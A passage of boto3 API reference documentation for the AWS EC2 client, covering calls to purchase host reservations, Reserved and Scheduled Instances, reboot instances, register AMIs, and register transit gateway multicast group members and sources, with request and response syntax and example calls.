notation. + + * **Description** _(string) --_ + + The description of the address range. + + * **StatusMessage** _(string) --_ + + Upon success, contains the ID of the address pool. Otherwise, contains an error message. + + * **State** _(string) --_ + + The state of the address pool. + + +purchase_host_reservation(kwargs_) + +Purchase a reservation with configurations that match those of your Dedicated Host. You must have active Dedicated Hosts in your account before you purchase a reservation. This action results in the specified reservation being purchased and charged to your account. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/PurchaseHostReservation) + +**Request Syntax** + +response = client.purchase_host_reservation( + ClientToken='string', + CurrencyCode='USD', + HostIdSet=[ + 'string', + ], + LimitPrice='string', + OfferingId='string', + TagSpecifications=[ + { + 'ResourceType': 'client-vpn-endpoint'|'customer-gateway'|'dedicated-host'|'dhcp-options'|'egress-only-internet-gateway'|'elastic-ip'|'elastic-gpu'|'export-image-task'|'export-instance-task'|'fleet'|'fpga-image'|'host-reservation'|'image'|'import-image-task'|'import-snapshot-task'|'instance'|'internet-gateway'|'key-pair'|'launch-template'|'local-gateway-route-table-vpc-association'|'natgateway'|'network-acl'|'network-interface'|'network-insights-analysis'|'network-insights-path'|'placement-group'|'reserved-instances'|'route-table'|'security-group'|'snapshot'|'spot-fleet-request'|'spot-instances-request'|'subnet'|'traffic-mirror-filter'|'traffic-mirror-session'|'traffic-mirror-target'|'transit-gateway'|'transit-gateway-attachment'|'transit-gateway-connect-peer'|'transit-gateway-multicast-domain'|'transit-gateway-route-table'|'volume'|'vpc'|'vpc-peering-connection'|'vpn-connection'|'vpn-gateway'|'vpc-flow-log', + 'Tags': [ + { + 'Key': 'string', + 'Value': 'string' + }, + ] + }, + ] +) + +Parameters + +* **ClientToken** (_string_) -- Unique, case-sensitive identifier that you provide to ensure the idempotency of the request. For more information, see [How to Ensure Idempotency](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/Run_Instance_Idempotency.html) . +* **CurrencyCode** (_string_) -- The currency in which the totalUpfrontPrice , LimitPrice , and totalHourlyPrice amounts are specified. At this time, the only supported currency is USD . +* **HostIdSet** (_list_) -- + + **[REQUIRED]** + + The IDs of the Dedicated Hosts with which the reservation will be associated. + + * _(string) --_ +* **LimitPrice** (_string_) -- The specified limit is checked against the total upfront cost of the reservation (calculated as the offering's upfront cost multiplied by the host count). If the total upfront cost is greater than the specified price limit, the request fails. This is used to ensure that the purchase does not exceed the expected upfront cost of the purchase. At this time, the only supported currency is USD . For example, to indicate a limit price of USD 100, specify 100.00. +* **OfferingId** (_string_) -- + + **[REQUIRED]** + + The ID of the offering. + +* **TagSpecifications** (_list_) -- + + The tags to apply to the Dedicated Host Reservation during purchase. + + * _(dict) --_ + + The tags to apply to a resource when the resource is being created. + + * **ResourceType** _(string) --_ + + The type of resource to tag. Currently, the resource types that support tagging on creation are: capacity-reservation | carrier-gateway | client-vpn-endpoint | customer-gateway | dedicated-host | dhcp-options | egress-only-internet-gateway | elastic-ip | elastic-gpu | export-image-task | export-instance-task | fleet | fpga-image | host-reservation | image | import-image-task | import-snapshot-task | instance | internet-gateway | ipv4pool-ec2 | ipv6pool-ec2 | key-pair | launch-template | local-gateway-route-table-vpc-association | placement-group | prefix-list | natgateway | network-acl | network-interface | reserved-instances [|](#id595)route-table | security-group | snapshot | spot-fleet-request | spot-instances-request | snapshot | subnet | traffic-mirror-filter | traffic-mirror-session | traffic-mirror-target | transit-gateway | transit-gateway-attachment | transit-gateway-multicast-domain | transit-gateway-route-table | volume [|](#id597)vpc | vpc-peering-connection | vpc-endpoint (for interface and gateway endpoints) | vpc-endpoint-service (for AWS PrivateLink) | vpc-flow-log | vpn-connection | vpn-gateway . + + To tag a resource after it has been created, see [CreateTags](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_CreateTags.html) . + + * **Tags** _(list) --_ + + The tags to apply to the resource. + + * _(dict) --_ + + Describes a tag. + + * **Key** _(string) --_ + + The key of the tag. + + Constraints: Tag keys are case-sensitive and accept a maximum of 127 Unicode characters. May not begin with aws: . + + * **Value** _(string) --_ + + The value of the tag. + + Constraints: Tag values are case-sensitive and accept a maximum of 255 Unicode characters. + + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'ClientToken': 'string', + 'CurrencyCode': 'USD', + 'Purchase': [ + { + 'CurrencyCode': 'USD', + 'Duration': 123, + 'HostIdSet': [ + 'string', + ], + 'HostReservationId': 'string', + 'HourlyPrice': 'string', + 'InstanceFamily': 'string', + 'PaymentOption': 'AllUpfront'|'PartialUpfront'|'NoUpfront', + 'UpfrontPrice': 'string' + }, + ], + 'TotalHourlyPrice': 'string', + 'TotalUpfrontPrice': 'string' +} + +**Response Structure** + +* _(dict) --_ + + * **ClientToken** _(string) --_ + + Unique, case-sensitive identifier that you provide to ensure the idempotency of the request. For more information, see [How to Ensure Idempotency](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/Run_Instance_Idempotency.html) . + + * **CurrencyCode** _(string) --_ + + The currency in which the totalUpfrontPrice and totalHourlyPrice amounts are specified. At this time, the only supported currency is USD . + + * **Purchase** _(list) --_ + + Describes the details of the purchase. + + * _(dict) --_ + + Describes the result of the purchase. + + * **CurrencyCode** _(string) --_ + + The currency in which the UpfrontPrice and HourlyPrice amounts are specified. At this time, the only supported currency is USD . + + * **Duration** _(integer) --_ + + The duration of the reservation's term in seconds. + + * **HostIdSet** _(list) --_ + + The IDs of the Dedicated Hosts associated with the reservation. + + * _(string) --_ + * **HostReservationId** _(string) --_ + + The ID of the reservation. + + * **HourlyPrice** _(string) --_ + + The hourly price of the reservation per hour. + + * **InstanceFamily** _(string) --_ + + The instance family on the Dedicated Host that the reservation can be associated with. + + * **PaymentOption** _(string) --_ + + The payment option for the reservation. + + * **UpfrontPrice** _(string) --_ + + The upfront price of the reservation. + + * **TotalHourlyPrice** _(string) --_ + + The total hourly price of the reservation calculated per hour. + + * **TotalUpfrontPrice** _(string) --_ + + The total amount charged to your account when you purchase the reservation. + + +purchase_reserved_instances_offering(kwargs_) + +Purchases a Reserved Instance for use with your account. With Reserved Instances, you pay a lower hourly rate compared to On-Demand instance pricing. + +Use DescribeReservedInstancesOfferings to get a list of Reserved Instance offerings that match your specifications. After you've purchased a Reserved Instance, you can check for your new Reserved Instance with DescribeReservedInstances . + +To queue a purchase for a future date and time, specify a purchase time. If you do not specify a purchase time, the default is the current time. + +For more information, see [Reserved Instances](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/concepts-on-demand-reserved-instances.html) and [Reserved Instance Marketplace](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ri-market-general.html) in the _Amazon Elastic Compute Cloud User Guide_ . + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/PurchaseReservedInstancesOffering) + +**Request Syntax** + +response = client.purchase_reserved_instances_offering( + InstanceCount=123, + ReservedInstancesOfferingId='string', + DryRun=True|False, + LimitPrice={ + 'Amount': 123.0, + 'CurrencyCode': 'USD' + }, + PurchaseTime=datetime(2015, 1, 1) +) + +Parameters + +* **InstanceCount** (_integer_) -- + + **[REQUIRED]** + + The number of Reserved Instances to purchase. + +* **ReservedInstancesOfferingId** (_string_) -- + + **[REQUIRED]** + + The ID of the Reserved Instance offering to purchase. + +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +* **LimitPrice** (_dict_) -- + + Specified for Reserved Instance Marketplace offerings to limit the total order and ensure that the Reserved Instances are not purchased at unexpected prices. + + * **Amount** _(float) --_ + + Used for Reserved Instance Marketplace offerings. Specifies the limit price on the total order (instanceCount * price). + + * **CurrencyCode** _(string) --_ + + The currency in which the limitPrice amount is specified. At this time, the only supported currency is USD . + +* **PurchaseTime** (_datetime_) -- The time at which to purchase the Reserved Instance, in UTC format (for example, _YYYY_ -_MM_ -_DD_ T*HH* :_MM_ :_SS_ Z). + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'ReservedInstancesId': 'string' +} + +**Response Structure** + +* _(dict) --_ + + Contains the output of PurchaseReservedInstancesOffering. + + * **ReservedInstancesId** _(string) --_ + + The IDs of the purchased Reserved Instances. + + +purchase_scheduled_instances(kwargs_) + +Purchases the Scheduled Instances with the specified schedule. + +Scheduled Instances enable you to purchase Amazon EC2 compute capacity by the hour for a one-year term. Before you can purchase a Scheduled Instance, you must call DescribeScheduledInstanceAvailability to check for available schedules and obtain a purchase token. After you purchase a Scheduled Instance, you must call RunScheduledInstances during each scheduled time period. + +After you purchase a Scheduled Instance, you can't cancel, modify, or resell your purchase. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/PurchaseScheduledInstances) + +**Request Syntax** + +response = client.purchase_scheduled_instances( + ClientToken='string', + DryRun=True|False, + PurchaseRequests=[ + { + 'InstanceCount': 123, + 'PurchaseToken': 'string' + }, + ] +) + +Parameters + +* **ClientToken** (_string_) -- + + Unique, case-sensitive identifier that ensures the idempotency of the request. For more information, see [Ensuring Idempotency](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/Run_Instance_Idempotency.html) . + + This field is autopopulated if not provided. + +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +* **PurchaseRequests** (_list_) -- + + **[REQUIRED]** + + The purchase requests. + + * _(dict) --_ + + Describes a request to purchase Scheduled Instances. + + * **InstanceCount** _(integer) --_ **[REQUIRED]** + + The number of instances. + + * **PurchaseToken** _(string) --_ **[REQUIRED]** + + The purchase token. + + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'ScheduledInstanceSet': [ + { + 'AvailabilityZone': 'string', + 'CreateDate': datetime(2015, 1, 1), + 'HourlyPrice': 'string', + 'InstanceCount': 123, + 'InstanceType': 'string', + 'NetworkPlatform': 'string', + 'NextSlotStartTime': datetime(2015, 1, 1), + 'Platform': 'string', + 'PreviousSlotEndTime': datetime(2015, 1, 1), + 'Recurrence': { + 'Frequency': 'string', + 'Interval': 123, + 'OccurrenceDaySet': [ + 123, + ], + 'OccurrenceRelativeToEnd': True|False, + 'OccurrenceUnit': 'string' + }, + 'ScheduledInstanceId': 'string', + 'SlotDurationInHours': 123, + 'TermEndDate': datetime(2015, 1, 1), + 'TermStartDate': datetime(2015, 1, 1), + 'TotalScheduledInstanceHours': 123 + }, + ] +} + +**Response Structure** + +* _(dict) --_ + + Contains the output of PurchaseScheduledInstances. + + * **ScheduledInstanceSet** _(list) --_ + + Information about the Scheduled Instances. + + * _(dict) --_ + + Describes a Scheduled Instance. + + * **AvailabilityZone** _(string) --_ + + The Availability Zone. + + * **CreateDate** _(datetime) --_ + + The date when the Scheduled Instance was purchased. + + * **HourlyPrice** _(string) --_ + + The hourly price for a single instance. + + * **InstanceCount** _(integer) --_ + + The number of instances. + + * **InstanceType** _(string) --_ + + The instance type. + + * **NetworkPlatform** _(string) --_ + + The network platform (EC2-Classic or EC2-VPC ). + + * **NextSlotStartTime** _(datetime) --_ + + The time for the next schedule to start. + + * **Platform** _(string) --_ + + The platform (Linux/UNIX or Windows ). + + * **PreviousSlotEndTime** _(datetime) --_ + + The time that the previous schedule ended or will end. + + * **Recurrence** _(dict) --_ + + The schedule recurrence. + + * **Frequency** _(string) --_ + + The frequency (Daily , Weekly , or Monthly ). + + * **Interval** _(integer) --_ + + The interval quantity. The interval unit depends on the value of frequency . For example, every 2 weeks or every 2 months. + + * **OccurrenceDaySet** _(list) --_ + + The days. For a monthly schedule, this is one or more days of the month (1-31). For a weekly schedule, this is one or more days of the week (1-7, where 1 is Sunday). + + * _(integer) --_ + * **OccurrenceRelativeToEnd** _(boolean) --_ + + Indicates whether the occurrence is relative to the end of the specified week or month. + + * **OccurrenceUnit** _(string) --_ + + The unit for occurrenceDaySet (DayOfWeek or DayOfMonth ). + + * **ScheduledInstanceId** _(string) --_ + + The Scheduled Instance ID. + + * **SlotDurationInHours** _(integer) --_ + + The number of hours in the schedule. + + * **TermEndDate** _(datetime) --_ + + The end date for the Scheduled Instance. + + * **TermStartDate** _(datetime) --_ + + The start date for the Scheduled Instance. + + * **TotalScheduledInstanceHours** _(integer) --_ + + The total number of hours for a single instance for the entire term. + + +**Examples** + +This example purchases a Scheduled Instance. + +response = client.purchase_scheduled_instances( + PurchaseRequests=[ + { + 'InstanceCount': 1, + 'PurchaseToken': 'eyJ2IjoiMSIsInMiOjEsImMiOi...', + }, + ], +) + +print(response) + +Expected Output: + +{ + 'ScheduledInstanceSet': [ + { + 'AvailabilityZone': 'us-west-2b', + 'CreateDate': datetime(2016, 1, 25, 21, 43, 38, 0, 25, 0), + 'HourlyPrice': '0.095', + 'InstanceCount': 1, + 'InstanceType': 'c4.large', + 'NetworkPlatform': 'EC2-VPC', + 'NextSlotStartTime': datetime(2016, 1, 31, 9, 0, 0, 6, 31, 0), + 'Platform': 'Linux/UNIX', + 'Recurrence': { + 'Frequency': 'Weekly', + 'Interval': 1, + 'OccurrenceDaySet': [ + 1, + ], + 'OccurrenceRelativeToEnd': False, + 'OccurrenceUnit': '', + }, + 'ScheduledInstanceId': 'sci-1234-1234-1234-1234-123456789012', + 'SlotDurationInHours': 32, + 'TermEndDate': datetime(2017, 1, 31, 9, 0, 0, 1, 31, 0), + 'TermStartDate': datetime(2016, 1, 31, 9, 0, 0, 6, 31, 0), + 'TotalScheduledInstanceHours': 1696, + }, + ], + 'ResponseMetadata': { + '...': '...', + }, +} + +reboot_instances(kwargs_) + +Requests a reboot of the specified instances. This operation is asynchronous; it only queues a request to reboot the specified instances. The operation succeeds if the instances are valid and belong to you. Requests to reboot terminated instances are ignored. + +If an instance does not cleanly shut down within a few minutes, Amazon EC2 performs a hard reboot. + +For more information about troubleshooting, see [Getting console output and rebooting instances](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instance-console.html) in the _Amazon Elastic Compute Cloud User Guide_ . + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/RebootInstances) + +**Request Syntax** + +response = client.reboot_instances( + InstanceIds=[ + 'string', + ], + DryRun=True|False +) + +Parameters + +* **InstanceIds** (_list_) -- + + **[REQUIRED]** + + The instance IDs. + + * _(string) --_ +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . + +Returns + +None + +**Examples** + +This example reboots the specified EC2 instance. + +response = client.reboot_instances( + InstanceIds=[ + 'i-1234567890abcdef5', + ], +) + +print(response) + +Expected Output: + +{ + 'ResponseMetadata': { + '...': '...', + }, +} + +register_image(kwargs_) + +Registers an AMI. When you're creating an AMI, this is the final step you must complete before you can launch an instance from the AMI. For more information about creating AMIs, see [Creating your own AMIs](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/creating-an-ami.html) in the _Amazon Elastic Compute Cloud User Guide_ . + +Note + +For Amazon EBS-backed instances, CreateImage creates and registers the AMI in a single request, so you don't have to register the AMI yourself. + +You can also use RegisterImage to create an Amazon EBS-backed Linux AMI from a snapshot of a root device volume. You specify the snapshot using the block device mapping. For more information, see [Launching a Linux instance from a backup](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instance-launch-snapshot.html) in the _Amazon Elastic Compute Cloud User Guide_ . + +If any snapshots have AWS Marketplace product codes, they are copied to the new AMI. + +Windows and some Linux distributions, such as Red Hat Enterprise Linux (RHEL) and SUSE Linux Enterprise Server (SLES), use the EC2 billing product code associated with an AMI to verify the subscription status for package updates. To create a new AMI for operating systems that require a billing product code, instead of registering the AMI, do the following to preserve the billing product code association: + +* Launch an instance from an existing AMI with that billing product code. +* Customize the instance. +* Create an AMI from the instance using CreateImage . + +If you purchase a Reserved Instance to apply to an On-Demand Instance that was launched from an AMI with a billing product code, make sure that the Reserved Instance has the matching billing product code. If you purchase a Reserved Instance without the matching billing product code, the Reserved Instance will not be applied to the On-Demand Instance. For information about how to obtain the platform details and billing information of an AMI, see [Obtaining billing information](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ami-billing-info.html) in the _Amazon Elastic Compute Cloud User Guide_ . + +If needed, you can deregister an AMI at any time. Any modifications you make to an AMI backed by an instance store volume invalidates its registration. If you make changes to an image, deregister the previous image and register the new image. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/RegisterImage) + +**Request Syntax** + +response = client.register_image( + ImageLocation='string', + Architecture='i386'|'x86_64'|'arm64', + BlockDeviceMappings=[ + { + 'DeviceName': 'string', + 'VirtualName': 'string', + 'Ebs': { + 'DeleteOnTermination': True|False, + 'Iops': 123, + 'SnapshotId': 'string', + 'VolumeSize': 123, + 'VolumeType': 'standard'|'io1'|'io2'|'gp2'|'sc1'|'st1'|'gp3', + 'KmsKeyId': 'string', + 'Throughput': 123, + 'Encrypted': True|False + }, + 'NoDevice': 'string' + }, + ], + Description='string', + DryRun=True|False, + EnaSupport=True|False, + KernelId='string', + Name='string', + BillingProducts=[ + 'string', + ], + RamdiskId='string', + RootDeviceName='string', + SriovNetSupport='string', + VirtualizationType='string' +) + +Parameters + +* **ImageLocation** (_string_) -- The full path to your AMI manifest in Amazon S3 storage. The specified bucket must have the aws-exec-read canned access control list (ACL) to ensure that it can be accessed by Amazon EC2. For more information, see [Canned ACLs](https://docs.aws.amazon.com/AmazonS3/latest/dev/acl-overview.html#canned-acl) in the _Amazon S3 Service Developer Guide_ . +* **Architecture** (_string_) -- + + The architecture of the AMI. + + Default: For Amazon EBS-backed AMIs, i386 . For instance store-backed AMIs, the architecture specified in the manifest file. + +* **BlockDeviceMappings** (_list_) -- + + The block device mapping entries. + + * _(dict) --_ + + Describes a block device mapping. + + * **DeviceName** _(string) --_ + + The device name (for example, /dev/sdh or xvdh ). + + * **VirtualName** _(string) --_ + + The virtual device name (ephemeral N). Instance store volumes are numbered starting from 0. An instance type with 2 available instance store volumes can specify mappings for ephemeral0 and ephemeral1 . The number of available instance store volumes depends on the instance type. After you connect to the instance, you must mount the volume. + + NVMe instance store volumes are automatically enumerated and assigned a device name. Including them in your block device mapping has no effect. + + Constraints: For M3 instances, you must specify instance store volumes in the block device mapping for the instance. When you launch an M3 instance, we ignore any instance store volumes specified in the block device mapping for the AMI. + + * **Ebs** _(dict) --_ + + Parameters used to automatically set up EBS volumes when the instance is launched. + + * **DeleteOnTermination** _(boolean) --_ + + Indicates whether the EBS volume is deleted on instance termination. For more information, see [Preserving Amazon EBS volumes on instance termination](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/terminating-instances.html#preserving-volumes-on-termination) in the Amazon Elastic Compute Cloud User Guide. + + * **Iops** _(integer) --_ + + The number of I/O operations per second (IOPS). For gp3 , io1 , and io2 volumes, this represents the number of IOPS that are provisioned for the volume. For gp2 volumes, this represents the baseline performance of the volume and the rate at which the volume accumulates I/O credits for bursting. + + The following are the supported values for each volume type: + + * gp3 : 3,000-16,000 IOPS + * io1 : 100-64,000 IOPS + * io2 : 100-64,000 IOPS + + For io1 and io2 volumes, we guarantee 64,000 IOPS only for [Instances built on the Nitro System](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instance-types.html#ec2-nitro-instances) . Other instance families guarantee performance up to 32,000 IOPS. + + This parameter is required for io1 and io2 volumes. The default for gp3 volumes is 3,000 IOPS. This parameter is not supported for gp2 , st1 , sc1 , or standard volumes. + + * **SnapshotId** _(string) --_ + + The ID of the snapshot. + + * **VolumeSize** _(integer) --_ + + The size of the volume, in GiBs. You must specify either a snapshot ID or a volume size. If you specify a snapshot, the default is the snapshot size. You can specify a volume size that is equal to or larger than the snapshot size. + + The following are the supported volumes sizes for each volume type: + + * gp2 and gp3 :1-16,384 + * io1 and io2 : 4-16,384 + * st1 : 500-16,384 + * sc1 : 500-16,384 + * standard : 1-1,024 + * **VolumeType** _(string) --_ + + The volume type. For more information, see [Amazon EBS volume types](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/EBSVolumeTypes.html) in the _Amazon Elastic Compute Cloud User Guide_ . If the volume type is io1 or io2 , you must specify the IOPS that the volume supports. + + * **KmsKeyId** _(string) --_ + + Identifier (key ID, key alias, ID ARN, or alias ARN) for a customer managed CMK under which the EBS volume is encrypted. + + This parameter is only supported on BlockDeviceMapping objects called by [RunInstances](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_RunInstances.html) , [RequestSpotFleet](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_RequestSpotFleet.html) , and [RequestSpotInstances](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_RequestSpotInstances.html) . + + * **Throughput** _(integer) --_ + + The throughput that the volume supports, in MiB/s. + + This parameter is valid only for gp3 volumes. + + Valid Range: Minimum value of 125. Maximum value of 1000. + + * **Encrypted** _(boolean) --_ + + Indicates whether the encryption state of an EBS volume is changed while being restored from a backing snapshot. The effect of setting the encryption state to true depends on the volume origin (new or from a snapshot), starting encryption state, ownership, and whether encryption by default is enabled. For more information, see [Amazon EBS Encryption](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/EBSEncryption.html#encryption-parameters) in the _Amazon Elastic Compute Cloud User Guide_ . + + In no case can you remove encryption from an encrypted volume. + + Encrypted volumes can only be attached to instances that support Amazon EBS encryption. For more information, see [Supported instance types](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/EBSEncryption.html#EBSEncryption_supported_instances) . + + This parameter is not returned by . + + * **NoDevice** _(string) --_ + + Suppresses the specified device included in the block device mapping of the AMI. + +* **Description** (_string_) -- A description for your AMI. +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +* **EnaSupport** (_boolean_) -- + + Set to true to enable enhanced networking with ENA for the AMI and any instances that you launch from the AMI. + + This option is supported only for HVM AMIs. Specifying this option with a PV AMI can make instances launched from the AMI unreachable. + +* **KernelId** (_string_) -- The ID of the kernel. +* **Name** (_string_) -- + + **[REQUIRED]** + + A name for your AMI. + + Constraints: 3-128 alphanumeric characters, parentheses (()), square brackets ([]), spaces ( ), periods (.), slashes (/), dashes (-), single quotes ('), at-signs (@), or underscores(_) + +* **BillingProducts** (_list_) -- + + The billing product codes. Your account must be authorized to specify billing product codes. Otherwise, you can use the AWS Marketplace to bill for the use of an AMI. + + * _(string) --_ +* **RamdiskId** (_string_) -- The ID of the RAM disk. +* **RootDeviceName** (_string_) -- The device name of the root device volume (for example, /dev/sda1 ). +* **SriovNetSupport** (_string_) -- + + Set to simple to enable enhanced networking with the Intel 82599 Virtual Function interface for the AMI and any instances that you launch from the AMI. + + There is no way to disable sriovNetSupport at this time. + + This option is supported only for HVM AMIs. Specifying this option with a PV AMI can make instances launched from the AMI unreachable. + +* **VirtualizationType** (_string_) -- + + The type of virtualization (hvm | paravirtual ). + + Default: paravirtual + + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'ImageId': 'string' +} + +**Response Structure** + +* _(dict) --_ + + Contains the output of RegisterImage. + + * **ImageId** _(string) --_ + + The ID of the newly registered AMI. + + +register_instance_event_notification_attributes(kwargs_)definition") + +Registers a set of tag keys to include in scheduled event notifications for your resources. + +To remove tags, use . + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/RegisterInstanceEventNotificationAttributes) + +**Request Syntax** + +response = client.register_instance_event_notification_attributes( + DryRun=True|False, + InstanceTagAttribute={ + 'IncludeAllTagsOfInstance': True|False, + 'InstanceTagKeys': [ + 'string', + ] + } +) + +Parameters + +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +* **InstanceTagAttribute** (_dict_) -- + + Information about the tag keys to register. + + * **IncludeAllTagsOfInstance** _(boolean) --_ + + Indicates whether to register all tag keys in the current Region. Specify true to register all tag keys. + + * **InstanceTagKeys** _(list) --_ + + The tag keys to register. + + * _(string) --_ + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'InstanceTagAttribute': { + 'InstanceTagKeys': [ + 'string', + ], + 'IncludeAllTagsOfInstance': True|False + } +} + +**Response Structure** + +* _(dict) --_ + + * **InstanceTagAttribute** _(dict) --_ + + The resulting set of tag keys. + + * **InstanceTagKeys** _(list) --_ + + The registered tag keys. + + * _(string) --_ + * **IncludeAllTagsOfInstance** _(boolean) --_ + + Indicates whether all tag keys in the current Region are registered to appear in scheduled event notifications. true indicates that all tag keys in the current Region are registered. + + +register_transit_gateway_multicast_group_members(kwargs_)definition") + +Registers members (network interfaces) with the transit gateway multicast group. A member is a network interface associated with a supported EC2 instance that receives multicast traffic. For information about supported instances, see [Multicast Consideration](https://docs.aws.amazon.com/vpc/latest/tgw/transit-gateway-limits.html#multicast-limits) in _Amazon VPC Transit Gateways_ . + +After you add the members, use [SearchTransitGatewayMulticastGroups](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_SearchTransitGatewayMulticastGroups.html) to verify that the members were added to the transit gateway multicast group. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/RegisterTransitGatewayMulticastGroupMembers) + +**Request Syntax** + +response = client.register_transit_gateway_multicast_group_members( + TransitGatewayMulticastDomainId='string', + GroupIpAddress='string', + NetworkInterfaceIds=[ + 'string', + ], + DryRun=True|False +) + +Parameters + +* **TransitGatewayMulticastDomainId** (_string_) -- The ID of the transit gateway multicast domain. +* **GroupIpAddress** (_string_) -- The IP address assigned to the transit gateway multicast group. +* **NetworkInterfaceIds** (_list_) -- + + The group members' network interface IDs to register with the transit gateway multicast group. + + * _(string) --_ +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'RegisteredMulticastGroupMembers': { + 'TransitGatewayMulticastDomainId': 'string', + 'RegisteredNetworkInterfaceIds': [ + 'string', + ], + 'GroupIpAddress': 'string' + } +} + +**Response Structure** + +* _(dict) --_ + + * **RegisteredMulticastGroupMembers** _(dict) --_ + + Information about the registered transit gateway multicast group members. + + * **TransitGatewayMulticastDomainId** _(string) --_ + + The ID of the transit gateway multicast domain. + + * **RegisteredNetworkInterfaceIds** _(list) --_ + + The ID of the registered network interfaces. + + * _(string) --_ + * **GroupIpAddress** _(string) --_ + + The IP address assigned to the transit gateway multicast group. + + +register_transit_gateway_multicast_group_sources(kwargs_)definition") + +Registers sources (network interfaces) with the specified transit gateway multicast group. + +A multicast source is a network interface attached to a supported instance that sends multicast traffic. For information about supported instances, see [Multicast Considerations](https://docs.aws.amazon.com/vpc/latest/tgw/transit-gateway-limits.html#multicast-limits) in _Amazon VPC Transit Gateways_ . + +After you add the source, use [SearchTransitGatewayMulticastGroups](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_SearchTransitGatewayMulticastGroups.html) to verify that the source was added to the multicast group. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/RegisterTransitGatewayMulticastGroupSources) + +**Request Syntax** + +response = client.register_transit_gateway_multicast_group_sources( + TransitGatewayMulticastDomainId='string', + GroupIpAddress='string', + NetworkInterfaceIds=[ + 'string', + ], + DryRun=True|False +) + +Parameters + +* **TransitGatewayMulticastDomainId** (_string_) -- The ID of the transit gateway multicast domain. +* **GroupIpAddress** (_string_) -- The IP address assigned to the transit gateway multicast group. +* **NetworkInterfaceIds** (_list_) -- + + The group sources' network interface IDs to register with the transit gateway multicast group. + + * _(string) --_ +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'RegisteredMulticastGroupSources': { + 'TransitGatewayMulticastDomainId': 'string', + 'RegisteredNetworkInterfaceIds': [ + 'string', + ], + 'GroupIpAddress': 'string' + } +} + +**Response Structure** + +* _(dict) --_ + + * **RegisteredMulticastGroupSources** _(dict) --_ + + Information about the transit gateway multicast group sources. + + * **TransitGatewayMulticastDomainId** _(string) --_ + + The ID of the transit gateway multicast domain. + + * **RegisteredNetworkInterfaceIds** _(list) --_ + + The IDs of the network interfaces members registered with the transit gateway multicast group. + + * _(string) --_ + * **GroupIpAddress** _(string) --_ + + The IP address assigned to the transit gateway multicast group. + + +reject_transit_gateway_multicast_domain_associations(kwargs_)this definition") + +Rejects a request to associate cross-account subnets with a transit gateway multicast domain. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/RejectTransitGatewayMulticastDomainAssociations) + +**Request Syntax** + +response = client.reject_transit_gateway_multicast_domain_associations( + TransitGatewayMulticastDomainId='string', + TransitGatewayAttachmentId='string', + SubnetIds=[ + 'string', + ], + DryRun=True|False +) + +Parameters + +* **TransitGatewayMulticastDomainId** (_string_) -- The ID of the transit gateway multicast domain. +* **TransitGatewayAttachmentId** (_string_) -- The ID of the transit gateway attachment. +* **SubnetIds** (_list_) -- + + The IDs of the subnets to associate with the transit gateway multicast domain. + + * _(string) --_ +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'Associations': { + 'TransitGatewayMulticastDomainId': 'string', + 'TransitGatewayAttachmentId': 'string', + 'ResourceId': 'string', + 'ResourceType': 